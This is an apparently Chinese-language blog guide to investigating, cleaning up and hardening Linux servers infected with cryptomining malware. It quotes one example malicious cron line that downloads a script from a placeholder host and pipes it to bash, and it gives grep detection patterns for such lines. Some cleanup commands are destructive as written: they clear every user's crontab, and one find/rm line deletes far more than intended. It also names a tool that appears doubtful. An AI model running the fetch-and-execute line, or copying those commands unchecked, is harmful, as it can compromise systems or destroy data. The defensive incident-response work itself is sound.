1. 项目概述:当你的服务器突然“发烧”
最近在帮朋友处理一台线上服务器时,遇到了一个典型又棘手的问题:一台原本运行平稳的Web服务器,CPU使用率毫无征兆地飙升到100%,风扇狂转,业务响应慢如蜗牛。登录上去一看,top命令里赫然躺着一个陌生的进程,名字看起来人畜无害,却贪婪地吞噬着所有计算资源。没错,这就是臭名昭著的挖矿病毒。
这已经不是第一次处理这类问题了。无论是云服务器还是物理机,一旦安全基线没做好,暴露在公网的Linux系统很容易成为黑客“挖矿”的肉鸡。他们利用各种漏洞(比如未修复的Web应用漏洞、弱口令SSH、配置不当的Redis等)入侵,植入挖矿木马,然后悄无声息地利用你的服务器算力为他们“打工”。对于运维和开发者来说,这不仅仅是资源被窃取的问题,更意味着系统安全防线被彻底击穿,业务随时可能中断,数据安全也面临巨大风险。
今天这篇记录,就是基于这次深度排查与修复的完整过程,整理成一份从“发现异常”到“彻底根治”再到“安全加固”的实战手册。无论你是刚接手服务器的运维新手,还是需要排查自家“矿场”的资深工程师,希望这份结合了原理、命令和大量“踩坑”经验的实录,能帮你高效、彻底地解决问题。
2. 挖矿病毒的入侵机理与行为特征
在动手清理之前,我们必须先理解对手。挖矿病毒不是一个单一的程序,而是一个完整的“入侵-驻留-挖矿”链条。知其然,更要知其所以然,这样才能在排查时有的放矢,修复时斩草除根。
2.1 典型的入侵链条
绝大多数挖矿病毒的入侵路径都遵循一个相似的模型:
初始入侵:攻击者通过扫描公网IP,寻找存在漏洞的服务。常见入口包括:
- 弱口令爆破:SSH(22端口)、Redis(6379端口)、MySQL(3306端口)等服务的密码过于简单或为空。
- 应用漏洞利用:未打补丁的Web框架漏洞(如ThinkPHP、Spring Boot Actuator未授权访问)、组件漏洞(如Log4j2)等。
- 配置不当:例如Redis未设置密码且绑定在
0.0.0.0,攻击者可以直接连接并写入计划任务。
权限维持与横向移动:一旦获得初始立足点(通常是
www-data或redis等低权限用户),攻击者会尝试提权到root,然后部署持久化后门,确保病毒在服务器重启后也能自动运行。同时,他们可能会利用内网信任关系,尝试感染同一网络下的其他机器。植入与隐藏:将挖矿程序(通常是XMRig这类门罗币挖矿软件)下载到服务器的临时目录(如
/tmp、/dev/shm)或伪装成系统文件。为了隐藏自身,病毒会:- 修改系统命令:替换
ps、top、netstat、ls等命令,使其无法显示病毒进程或相关文件。 - 设置文件锁:使用
chattr +i命令将关键配置文件(如/etc/crontab)设置为不可修改,防止你删除计划任务。 - 植入动态链接库劫持:通过
/etc/ld.so.preload文件预加载恶意.so库,劫持系统函数调用,实现进程隐藏。
- 修改系统命令:替换
建立通信与挖矿:病毒进程启动后,会连接远程矿池(通常使用3333、5555、7777等端口),将服务器的算力贡献出去,并将收益转入攻击者的钱包地址。
2.2 核心行为特征与识别信号
了解其行为,我们就能在系统中找到蛛丝马迹。以下是需要重点关注的异常信号:
性能指标异常:
- CPU占用率畸高:这是最直接的信号。使用
top或htop查看,通常会有一个或多个进程长期占用接近100%的单核CPU,或者总体CPU使用率持续在80%以上,且与业务负载不符。 - 系统负载升高:使用
uptime或w命令查看,系统平均负载(Load Average)远高于CPU核心数。 - 温度与风扇:物理服务器或虚拟机所在宿主机的风扇转速异常升高。
- CPU占用率畸高:这是最直接的信号。使用
进程与网络异常:
- 奇怪进程名:进程名可能伪装成
kworker、java、nginx、syslogd等系统进程,但仔细看其路径或命令行参数会发现异常(如包含--donate-level、-o pool.minexmr.com:3333等矿池参数)。 - 可疑网络连接:与非常用海外IP地址(尤其是俄罗斯、乌克兰、荷兰等地)建立大量TCP连接,目标端口为矿池常用端口。
- 奇怪进程名:进程名可能伪装成
系统文件与配置异常:
- 计划任务(Cron)被篡改:这是最常见的持久化手段。
/etc/crontab、/var/spool/cron/目录下的文件被添加了下载和执行恶意脚本的任务。 - 系统服务异常:新增了未知的
systemd服务(如sysetmd、bot.service)。 - SSH公钥被添加:
~/.ssh/authorized_keys文件中被加入了陌生的公钥,攻击者可以实现免密登录。 - 系统命令被替换:执行
ls -l /usr/bin/top或which ps,发现命令文件的大小、修改时间异常,或存在.original后缀的备份文件。
- 计划任务(Cron)被篡改:这是最常见的持久化手段。
实操心得:很多挖矿病毒会“贴心”地帮你把原系统命令重命名为
ps.original,然后用一个假的ps来隐藏自己。所以,直接使用/bin/ps或/usr/bin/top的绝对路径来执行命令,有时会比直接用ps、top更可靠。
3. 深度排查:揪出隐藏的“矿工”
当怀疑服务器中招后,切忌一上来就kill进程。不彻底的清理只会打草惊蛇,让病毒以更隐蔽的方式复活。我们必须进行一次系统性的深度排查,目标是找出所有的恶意进程、文件、持久化配置和网络连接。
3.1 第一步:建立安全排查环境与紧急隔离
在开始任何操作前,做好隔离是防止损失扩大的关键。
网络隔离(最有效):立即登录云服务器控制台(如阿里云、腾讯云ECS控制台),修改该实例所属的安全组规则。
- 出方向:默认设置为“拒绝”,仅放行业务必要的出网流量(如HTTP/HTTPS访问外部API)。
- 入方向:严格限制,仅允许来自运维堡垒机或可信IP的SSH(22端口)访问。务必切断与已知矿池IP的通信,这能立刻让挖矿进程“断粮”,停止消耗CPU。
- 操作路径:ECS实例详情 -> 安全组 -> 配置规则 -> 快速添加(或手动修改)。这是云端最快、最彻底的止损方式。
本地备份关键证据:在清理前,建议将可疑进程、文件、网络连接的信息记录下来,便于后续分析和溯源。
# 创建一个临时目录存放证据 mkdir -p /tmp/forensic_$(date +%Y%m%d) cd /tmp/forensic_$(date +%Y%m%d) # 保存当前进程快照 ps auxf > process_snapshot.txt top -b -n 1 > top_snapshot.txt # 保存网络连接快照 netstat -tunap > netstat_snapshot.txt ss -tunap > ss_snapshot.txt # 保存计划任务 cp -r /var/spool/cron/ ./ cp /etc/crontab ./ ls -la /etc/cron.*/ > cron_dirs.txt
3.2 第二步:进程与网络连接深度分析
隔离后,我们开始在系统内进行深度排查。
3.2.1 识别高CPU进程(绕过命令劫持)
由于系统命令可能被篡改,我们需要一些技巧来看到真实情况。
方法一:使用未篡改的命令或绝对路径
# 使用busybox(如果系统有安装)或从其他干净机器拷贝的命令 /bin/busybox top # 或者使用 /proc 文件系统,这里的信息最难被篡改 cat /proc/loadavg # 查看系统负载方法二:直接分析
/proc目录/proc/[pid]/目录包含了进程的几乎所有信息,且是内核直接提供的,难以被用户态程序完全伪装。# 查找CPU使用率高的进程PID # 这个命令通过读取/proc/[pid]/stat来计算CPU时间,相对可靠 for pid in $(ls /proc | grep -E '^[0-9]+$'); do if [ -f /proc/$pid/stat ]; then utime=$(cat /proc/$pid/stat | awk '{print $14}') stime=$(cat /proc/$pid/stat | awk '{print $15}') total_time=$((utime + stime)) echo "$pid : $total_time" fi done | sort -n -k3 -r | head -20方法三:使用不可写介质上的静态编译工具事先在U盘或另一个安全系统中准备好静态编译的
busybox、htop、netstat等工具,挂载到受害服务器上使用。这是最可靠的方法。
3.2.2 分析可疑进程的详细信息
找到高CPU的PID(例如12345)后,深入挖掘:
# 1. 查看进程命令行(可能被截断或伪装) cat /proc/12345/cmdline | xargs -0 echo # 2. 查看进程的可执行文件真实路径 ls -al /proc/12345/exe # 输出会显示类似 `lrwxrwxrwx 1 root root 0 Apr 10 10:00 /proc/12345/exe -> /tmp/.x1x1/xmrig` # 这个路径就是病毒文件的真实位置! # 3. 查看进程打开的文件 ls -al /proc/12345/fd/ # 4. 查看进程的环境变量 cat /proc/12345/environ | tr '\0' '\n'3.2.3 检查异常网络连接
同样,使用可靠的方式检查网络:
# 使用 /proc/net/tcp 和 /proc/net/udp(需要十六进制转换端口) cat /proc/net/tcp | awk '{print $2,$3,$10}' | grep -v "local_address" | while read line; do local_addr_port=$(echo $line | awk '{print $1}') remote_addr_port=$(echo $line | awk '{print $2}') uid=$(echo $line | awk '{print $3}') # 转换十六进制IP和端口 local_ip=$(echo $local_addr_port | awk -F':' '{print $1}' | sed 's/..../&./g' | sed 's/\.$//' | awk -F'.' '{print $4"."$3"."$2"."$1}') local_port=$(printf "%d\n" 0x$(echo $local_addr_port | awk -F':' '{print $2}')) remote_ip=$(echo $remote_addr_port | awk -F':' '{print $1}' | sed 's/..../&./g' | sed 's/\.$//' | awk -F'.' '{print $4"."$3"."$2"."$1}') remote_port=$(printf "%d\n" 0x$(echo $remote_addr_port | awk -F':' '{print $2}')) # 查找进程 pid=$(ls -la /proc/*/fd/* 2>/dev/null | grep socket:\[$local_addr_port\] | head -1 | awk -F'/' '{print $3}') cmd=$(cat /proc/$pid/cmdline 2>/dev/null | xargs -0 echo | head -c 50) echo "PID:$pid, UID:$uid, Local:$local_ip:$local_port -> Remote:$remote_ip:$remote_port, CMD:$cmd" done这个脚本比较复杂,但能绕过被篡改的netstat。更简单的方法是使用静态编译的ss命令或lsof -i。
注意事项:矿池连接通常是长时间存在的TCP连接,远程端口可能是3333、5555、7777、14444等。一旦发现连接到
pool.supportxmr.com、minexmr.com等域名或对应的IP,基本可以确定。
3.3 第三步:全面清查持久化驻留机制
杀掉进程只是治标,清除持久化配置才能治本。挖矿木马会想尽办法让自己“永生”。
3.3.1 检查计划任务(Cron)
这是重灾区,必须全面检查。
# 1. 检查系统级计划任务 cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/ # 2. 检查所有用户的计划任务 for user in $(cut -f1 -d: /etc/passwd); do echo "=== Crontab for $user ===" crontab -l -u $user 2>/dev/null done # 3. 检查 /var/spool/cron/ 目录(这是crontab -l命令的实际存储位置) ls -la /var/spool/cron/ cat /var/spool/cron/* 2>/dev/null # 4. 使用 find 命令搜索包含可疑关键词(如 pool.、xmrig、curl -s、wget -q)的 cron 文件 find /etc/cron* /var/spool/cron/ -type f -exec grep -l "pool\.\|xmrig\|curl.*-s\|wget.*-q" {} \; 2>/dev/null重点关注:任务内容中是否有从远程地址下载脚本(curl http://x.x.x.x/x.sh | bash)或执行隐藏文件(/tmp/.xxx/xxx)的命令。
3.3.2 检查系统服务(Systemd & init.d)
# 1. 查看所有已启用的系统服务 systemctl list-unit-files --state=enabled | grep -E 'service|timer' # 2. 重点查看近期新增的、名字奇怪的服务 systemctl list-units --type=service --all | grep -E '(sysetmd|monero|bot|kinsing|update|systemd-cgroup)' # 3. 检查服务文件内容 # 如果发现可疑服务,如 `sysetmd.service` systemctl cat sysetmd.service # 查看服务文件内容 ls -la /etc/systemd/system/sysetmd.service /usr/lib/systemd/system/sysetmd.service 2>/dev/null # 4. 检查老的 SysV init 脚本 ls -la /etc/init.d/ /etc/rc.d/rc*.d/3.3.3 检查开机启动脚本
# 检查 /etc/rc.local (如果系统使用) cat /etc/rc.local # 检查 profile、bashrc 等配置文件是否被植入启动命令 grep -r "curl\|wget\|/tmp/\." /etc/profile /etc/profile.d/ /home/*/.bashrc /home/*/.bash_profile /root/.bashrc 2>/dev/null | grep -v "^Binary"3.3.4 检查动态链接库劫持(/etc/ld.so.preload)
这是非常隐蔽的一种手段,通过预加载恶意库来隐藏进程。
cat /etc/ld.so.preload如果这个文件非空,且内容指向一个陌生的.so文件(如/usr/local/lib/libsystem.so),那几乎可以肯定系统被劫持了。这个.so库会 hookreaddir等函数,让ps、top、ls等命令看不到病毒相关的内容。
3.3.5 检查 SSH 后门
# 检查 authorized_keys 文件 cat ~/.ssh/authorized_keys cat /root/.ssh/authorized_keys # 仔细核对每一个公钥,是否都是你自己添加的。攻击者常会加入一个他们的公钥实现免密登录。 # 检查 SSH 配置文件是否被修改,允许空密码或特定用户 cat /etc/ssh/sshd_config | grep -E "(PermitEmptyPasswords|AllowUsers|AuthorizedKeysFile)"3.3.6 检查账户与文件系统
# 1. 检查是否有新增的陌生用户 cat /etc/passwd | grep -E "/bin/bash|/bin/sh" # 查看用户ID为0的用户(除了root) awk -F: '($3 == 0) {print $1}' /etc/passwd # 2. 检查 /tmp、/dev/shm、/var/tmp 等临时目录下的可疑隐藏文件或目录 ls -la /tmp/ /dev/shm/ /var/tmp/ | grep -E "^d.*\." find /tmp /dev/shm /var/tmp -name ".*" -type f -exec ls -la {} \; 2>/dev/null # 3. 检查系统命令是否被替换 for cmd in ps top netstat ss lsof kill; do which $cmd ls -la $(which $cmd 2>/dev/null) # 检查是否有同名的 .original 文件 if [ -f "$(which $cmd 2>/dev/null).original" ]; then echo "WARNING: $cmd may have been replaced. Original found." fi done4. 彻底修复:清理病毒与恢复系统
排查清楚后,我们就可以开始“手术”了。操作顺序很重要:先清除持久化配置,再杀进程删文件,最后修复系统。
4.1 清除持久化配置(断其后路)
原则:先让病毒下次开机无法自启,再处理当前运行的进程。
解除文件锁:很多病毒会
chattr +i锁定关键文件。# 常见的被锁定文件 chattr -i /etc/crontab /var/spool/cron/* /etc/passwd /etc/shadow /etc/ld.so.preload 2>/dev/null chattr -R -ia /var/spool/cron/ 2>/dev/null chattr -R -ia /etc/cron.d/ 2>/dev/null清理计划任务:根据排查结果,直接编辑文件删除恶意行,或整体清空。
# 例如,清空 /etc/crontab 中的非系统默认行(小心操作,备份为先) cp /etc/crontab /etc/crontab.bak # 使用sed删除包含恶意URL的行 sed -i '/pool\./d' /etc/crontab sed -i '/curl.*http/d' /etc/crontab sed -i '/wget.*http/d' /etc/crontab # 清理用户cron for user in $(cut -f1 -d: /etc/passwd); do crontab -r -u $user 2>/dev/null # 直接删除该用户所有cron任务(谨慎!确认该用户没有合法任务) # 或者更安全的方式:编辑 # crontab -l -u $user | grep -v '恶意内容' | crontab -u $user - done # 删除可疑的cron脚本文件 rm -f /etc/cron.hourly/0 /etc/cron.d/httpd2 /etc/upat.sh /tmp/upat.sh 2>/dev/null禁用并删除恶意系统服务
# 停止并禁用服务 systemctl stop sysetmd.service monero.service bot.service 2>/dev/null systemctl disable sysetmd.service monero.service bot.service 2>/dev/null # 删除服务单元文件 rm -f /etc/systemd/system/sysetmd.service /usr/lib/systemd/system/sysetmd.service 2>/dev/null rm -f /etc/systemd/system/monero.service /usr/lib/systemd/system/monero.service 2>/dev/null rm -f /lib/systemd/system/bot.service /lib/systemd/system/systemd-cgroup.service 2>/dev/null清理 ld.so.preload 劫持
# 清空该文件 echo > /etc/ld.so.preload # 删除恶意so库文件(根据之前cat看到的路徑) rm -f /usr/local/lib/libsystem.so /lib/libsystem.so 2>/dev/null # 重建动态链接库缓存 ldconfig清理 SSH 后门
# 编辑 authorized_keys,删除陌生的公钥行 # 备份 cp ~/.ssh/authorized_keys ~/.ssh/authorized_keys.bak cp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak # 使用vim或sed手动删除可疑行,或者如果你确认只有一条恶意key,可以: # sed -i '/^ssh-rsa AAAA...malicious...key/d' ~/.ssh/authorized_keys删除恶意用户
# 例如删除名为 `shaojiang99` 的用户 userdel -r shaojiang99 2>/dev/null # 同时从 /etc/passwd 和 /etc/shadow 中删除(如果userdel失败) sed -i '/^shaojiang99:/d' /etc/passwd /etc/shadow 2>/dev/null
4.2 终止进程与删除病毒文件(斩草除根)
现在来处理正在运行的病毒。
终止进程:使用我们在排查阶段找到的PID。
# 温和终止 kill -15 <PID> # 如果无效,强制终止 kill -9 <PID> # 如果病毒有守护进程或子进程,可能需要一起杀掉 # 找到父进程ID (PPID) 并一起终止 ps -ef | grep <病毒进程名关键词> | grep -v grep | awk '{print $2, $3}' | while read pid ppid; do kill -9 $pid $ppid 2>/dev/null done删除病毒本体文件:根据
/proc/<PID>/exe找到的路径。# 例如 rm -rf /tmp/.x1x1/ /tmp/.X2xi-unix/ /opt/sysetmd /dev/shm/kinsing* 2>/dev/null # 删除下载的恶意脚本 find /tmp /var/tmp /dev/shm -name "*.sh" -type f -exec rm -f {} \; 2>/dev/null find / -name "*.sh" -path "/tmp/*" -o -path "/dev/shm/*" -o -path "/var/tmp/*" 2>/dev/null | xargs rm -f 2>/dev/null恢复被替换的系统命令
# 如果发现原命令被重命名为 .original if [ -f /bin/ps.original ]; then mv /bin/ps.original /bin/ps chmod 755 /bin/ps fi if [ -f /bin/top.original ]; then mv /bin/top.original /bin/top chmod 755 /bin/top fi # 同理处理 netstat, ls, pstree 等
4.3 验证与系统恢复
清理完成后,必须验证。
重启服务器:这是检验持久化清理是否彻底的最好方法。重启后,病毒不应该再出现。
shutdown -r now重要提示:重启前,请确保你已经备份了所有业务数据,并且确认关键的持久化配置(如正确的cron任务、服务)已被恢复。
重启后检查:
# 检查CPU使用率 top -b -n 1 | head -20 # 检查计划任务 crontab -l cat /etc/crontab # 检查网络连接 ss -tunap | grep -E ':(3333|5555|7777)' # 检查可疑进程 ps aux | grep -E 'xmrig|minerd|sysetmd|\./'使用安全工具进行全盘扫描(如果条件允许):
- ClamAV:开源杀毒引擎,可以扫描系统文件。
# 安装与扫描 yum install clamav clamav-update -y # CentOS/RHEL # 或 apt-get install clamav clamav-daemon -y # Debian/Ubuntu freshclam # 更新病毒库 clamscan -r -i / --exclude-dir=/sys --exclude-dir=/proc --exclude-dir=/dev - Rkhunter, Chkrootkit:Rootkit检测工具,可以辅助发现隐藏的后门。
- 云安全中心:如果使用的是云服务器,强烈建议启用云厂商提供的安全中心(如阿里云云安全中心),其无代理检测和病毒查杀功能能更高效地发现残留威胁。
- ClamAV:开源杀毒引擎,可以扫描系统文件。
5. 安全加固:构建“免疫系统”
清理病毒只是救火,加固安全才能防火。以下是一套必须实施的基础安全加固措施。
5.1 访问控制最小化
这是最重要的原则。
安全组/防火墙:
- 入方向:只开放必要的业务端口(如80, 443)。SSH端口(22)务必限制为仅允许特定管理IP(如公司办公网IP、堡垒机IP)访问。禁止对公网开放Redis、MySQL、MongoDB等服务的端口。
- 出方向:可以考虑限制服务器主动向外发起连接,仅允许访问必要的更新源(如
yum/apt镜像站)、业务依赖的API地址等。
SSH安全加固:
# 编辑 /etc/ssh/sshd_config vim /etc/ssh/sshd_config- 修改默认端口:
Port 2222(非必须,但可减少自动化扫描)。 - 禁止root直接登录:
PermitRootLogin no。 - 使用密钥登录,禁用密码:
PasswordAuthentication no,PubkeyAuthentication yes。 - 限制用户和IP:
AllowUsers your_username@your_ip。 - 修改后重启:
systemctl restart sshd。
- 修改默认端口:
服务密码强化:为所有数据库、中间件设置强密码(长度>12位,包含大小写字母、数字、特殊字符),并定期更换。
5.2 系统与软件更新
绝大多数入侵利用的是已知漏洞。
定期更新系统:
# CentOS/RHEL yum update -y --security # Debian/Ubuntu apt-get update && apt-get upgrade -y更新关键业务软件:保持Web服务器(Nginx/Apache)、运行环境(PHP/Python/Node.js)、数据库、框架(如ThinkPHP, Spring)为最新稳定版。
5.3 入侵检测与监控
建立早期预警机制。
- 安装并配置HIDS:主机入侵检测系统,如OSSEC、Wazuh(OSSEC的分支)。它们可以监控文件完整性(如
/etc/passwd,/etc/crontab被修改)、日志中的异常登录、可疑命令执行等,并发送告警。 - 启用系统审计:配置
auditd规则,记录关键文件的读写、用户提权(sudo)等行为。 - 集中日志收集:将系统日志(
/var/log/secure,/var/log/auth.log)、应用日志发送到统一的日志服务器(如ELK Stack),便于关联分析。 - 资源监控告警:使用Prometheus+Grafana或云监控,对服务器的CPU使用率、网络连接数等设置告警阈值(如CPU持续5分钟>90%),以便第一时间发现异常。
5.4 应用层安全
很多挖矿病毒是通过Web漏洞进来的。
- Web应用防火墙:在业务前端部署WAF,防御SQL注入、XSS、命令执行等常见Web攻击。
- 代码安全审计:定期对业务代码进行安全扫描,修复潜在漏洞。
- 最小权限原则:运行Web服务的用户(如
www-data,nginx)应仅拥有必要目录的读写权限,避免其有权限写入/tmp以外的系统目录或执行命令。
5.5 定期安全巡检
将安全变成一种习惯。
- 定期检查清单:
- 检查
/etc/crontab、/etc/passwd等关键文件是否有未授权的修改。 - 检查是否有未知的
systemd服务或init.d脚本。 - 检查
~/.ssh/authorized_keys。 - 使用
rpm -Va或debsums检查系统文件完整性。 - 查看
/var/log/secure或/var/log/auth.log,分析失败的登录尝试。
- 检查
- 漏洞扫描:定期使用Nessus、OpenVAS或云安全中心的漏洞扫描功能,对服务器进行扫描并修复中高危漏洞。
6. 常见问题与排查技巧实录
在实际处理过程中,总会遇到一些“诡异”的情况。这里记录几个典型的坑和解决技巧。
问题一:top和ps命令显示正常,但CPU就是满的,/proc里也找不到高CPU进程。
- 可能原因:遇到了利用内核模块(rootkit)或
ld.so.preload进行深度隐藏的挖矿病毒。它hook了系统调用,让所有用户态工具都“看”不到它。 - 排查技巧:
- 检查内核模块:
lsmod | grep -E '(hide|rootkit)',查看是否有可疑模块。更专业的工具是unhide或rkhunter。 - 使用静态编译的BusyBox:从其他干净机器拷贝或下载静态编译的
busybox,用它来执行ps、top。 - 查看系统中断:
cat /proc/interrupts,如果某个CPU核心的中断数异常高,可能是内核级恶意代码。 - 终极手段:使用Sysinternals Suite for Linux中的
pspic工具,或直接分析/proc目录下的数字目录,对比ps输出,找出隐藏的PID。
- 检查内核模块:
问题二:清理后,过几分钟或重启后,挖矿进程又出现了。
- 可能原因:持久化机制没有清理干净。除了cron和systemd,病毒还可能藏在:
/etc/profile.d/下的脚本。/etc/rc.local(如果系统使用)。/etc/ld.so.preload被重新写入。- 其他用户的cron(如mysql, redis用户)。
at任务:检查atq命令输出。- 内核级rootkit:这最麻烦,可能需要重装系统。
- 排查技巧:
- 使用
find命令结合-mtime(修改时间)和-ctime(状态改变时间)查找近期被修改的系统文件。find /etc /var/spool/cron /lib/systemd/system -type f -mtime -1 # 查找一天内修改的文件 - 使用
auditd监控对关键文件(如/etc/crontab,/etc/ld.so.preload)的写操作。 - 在清理后,立即使用
chattr +i暂时锁定关键配置文件(/etc/crontab,/etc/passwd等),防止被再次写入,待确认安全后再解锁。
- 使用
问题三:病毒文件删不掉,提示“Operation not permitted”。
- 可能原因:文件被设置了
immutable属性(chattr +i)或存在其他文件锁。 - 解决方法:
如果还是删不掉,可能是进程还在占用。使用# 先查看文件属性 lsattr /path/to/virus_file # 如果显示有 'i' 属性,则移除 chattr -i /path/to/virus_file # 然后再删除 rm -f /path/to/virus_filelsof /path/to/virus_file查看是哪个进程在使用,先kill掉那个进程再删。
问题四:如何判断一个陌生进程/文件是不是挖矿病毒?
- 在线查杀:计算文件的MD5或SHA256哈希值,到VirusTotal或微步在线云沙箱等平台查询。
md5sum /tmp/suspicious_file sha256sum /tmp/suspicious_file - 本地分析:
- 字符串分析:
strings /tmp/suspicious_file | grep -i -E '(pool|mine|xmrig|monero|donate)',挖矿程序通常包含矿池地址和捐赠参数。 - 网络行为:用
strace跟踪进程的系统调用,看它是否连接了可疑IP和端口。strace -f -e trace=network -p <PID>
- 字符串分析:
处理挖矿病毒是一场攻防战,需要耐心和细致。核心思路永远是:先隔离止损,再深度排查,然后彻底清理,最后加固防御。养成定期巡检和安全加固的习惯,远比事后救火要轻松得多。希望这份实录能成为你服务器安全运维工具箱里的一份实用指南。